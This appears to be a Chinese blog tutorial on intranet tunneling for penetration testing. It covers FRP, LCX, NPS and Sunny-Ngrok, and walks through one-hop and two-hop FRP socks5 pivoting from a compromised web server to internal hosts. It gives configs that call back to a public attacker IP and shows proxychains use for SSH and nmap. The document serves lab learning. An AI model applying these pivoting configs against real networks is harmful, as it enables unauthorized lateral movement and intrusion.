内网穿透基本使用
文章目录
- 内网穿透基本使用
- 前言
- 一、内网穿透
- 二、工具
- 1.FRP
- 2.LCX
- 3.NPS
- 4.Sunny-Ngork
- 三、Sunny-ngork使用
- 四、Frp内网穿透代理
- 1.一层代理
- 2.二层代理
- 总结
前言
之前零零碎碎接触过不少关于内网渗透测试、内网穿透的知识,但是不得不说渗透测试很吃基础、也吃天赋,之前没能搞下去,最近买了本书开始系统的重新学习内网渗透,也重新接触到了之前接触过的零散知识,做个记录。
提示:以下是本篇文章正文内容,下面案例可供参考
一、内网穿透
- 简单来说,作为现如今的用户,大都是处于内网或局域网,公用某个公网IP对外网进行访问,处于其它内网或公网的主机是不能直接访问处于内网的主机的,因此就需要通过内网穿透,使得内网主机的端口等能够映射到公网主机中,通过公网主机能够直接访问内网的主机,转发流量。
- 对于渗透测试,内网穿透必然是肯定的,当通过DMZ区等Web服务器找到漏洞获得主机的Webshell控制权后,这时候才是渗透测试的开始,要进行内网渗透,域移动等将Web主机作为跳板入侵其它的内网主机,但不同的工作区网段一般不一致,因此需要通过多层SOCK等代理,使得公网攻击机能够继续渗透其它工作区的主机。
二、工具
1.FRP
- FRP是一个专注于内网穿透的高性能的反向代理应用,支持TCP、UDP、HTTP、HTTPS等多种协议。可以将内网服务以安全、便捷的方式通过具有公网IP节点的中转暴露到公网。下载地址:https://github.com/fatedier/frp/releases
2.LCX
- LCX就是一个内网端口转发工具,基于Socket套接字,能够进行端口映射和端口转发,用的应该比较少,一般只能用于简单的场景的端口转发。
3.NPS
- NPS是一款轻量级、高性能、功能强大的内网穿透代理服务器。支持tcp、udp转发,内网http、sock5代理等,功能和FRP都很强大,工作时候有Web页面进行管理完成,也很强。
4.Sunny-Ngork
- 国内比较好用的内网穿透的工具,提供免费的隧道和域名,当然也可以花钱购买服务区、提供Ngork和FRP两种服务,但毕竟不是自己的,不能肆意妄为,可以当学习玩。地址:https://www.ngrok.cc/
三、Sunny-ngork使用
- 注册并创建免费隧道,进行隧道的配置
主要就是本地端口那里,要映射的内网主机IP和对应的端口,这里映射80端口的HTTP
- 下载对应版本的客户端,在本地主机解压,然后允许命令
./sunny clinetid 隧道ID
3. 访问域名就可看到本地主机映射的80端口
四、Frp内网穿透代理
- 网络拓扑图如下:
主机 | IP地址 |
---|---|
攻击机(公网) | 120.79.29.170 |
内网Ubuntu(模拟Web服务器) | 192.168.23.129 |
内网linux主机 | 192.168.23.137、192.168.0.105 |
内网Windows10主机 | 192.168.0.104 |
假设已经获得了Web服务器主机的控制权。
1.一层代理
假设已经通过Ubuntu知道了linux的用户名和密码,要远程登录linux主机。
- Ubuntu主机的frpc.ini文件配置如下
[common]
server_addr = 120.79.29.170 #公网IP地址
#server_addr = 192.168.23.137
server_port = 7000
[socks5]
type = tcp
remote_port = 4444 #转发到服务器的端口
plugin = socks5 #socks5代理
- 公网主机frps.ini无需配置即可
[common]
bind_port = 7000 #接受访问的端口
bind_addr = 0.0.0.0
- 开启服务器和客户端
攻击机: ./frps -c ./frps.ini
Ubuntu主机: ./frpc -c ./frpc.ini
- 配置proxychains文件,在文末添加代理行
sudo vim /etc/proxychains.conf
最末尾添加 socks5 IP port 代理
这里端口是4444,因为Ubuntu主机转发到攻击机的端口设置为4444,通过4444端口即可访问内网。
- 通过proxychains进行SSH连接linux主机
2.二层代理
假设已经知道Windows10主机的登录密码,要登录Windows10主机,那么可以设置二层代理,linux主机与Windows10主机在用一个网段工作区域,通过Linux主机代理进行登录。
主要原理就是:在Ubuntu主机中设置remote_port和local_port,将linux主机的remote_port代理到Ubuntu主机的local_port,然后将Ubuntu主机转发到攻击机即可,简单来说就是linux:4444->Ubuntu:4444->攻击机:1080
-
配置Ubuntu的frpc.ini文件
-
配置Ubuntu主机的frps.ini文件
-
配置linux主机的frpc.ini文件
-
攻击机运行frps、Ubuntu运行frps和frpc、linux主机运行frpc
-
配置proxychains代理即可
三层四层转发原理也是一致的
总结
通过frp进行socks代理,然后通过proxychains能够在攻击机上执行命令,流量转发到内网,如进行nmap等对内网直接进行扫描都可。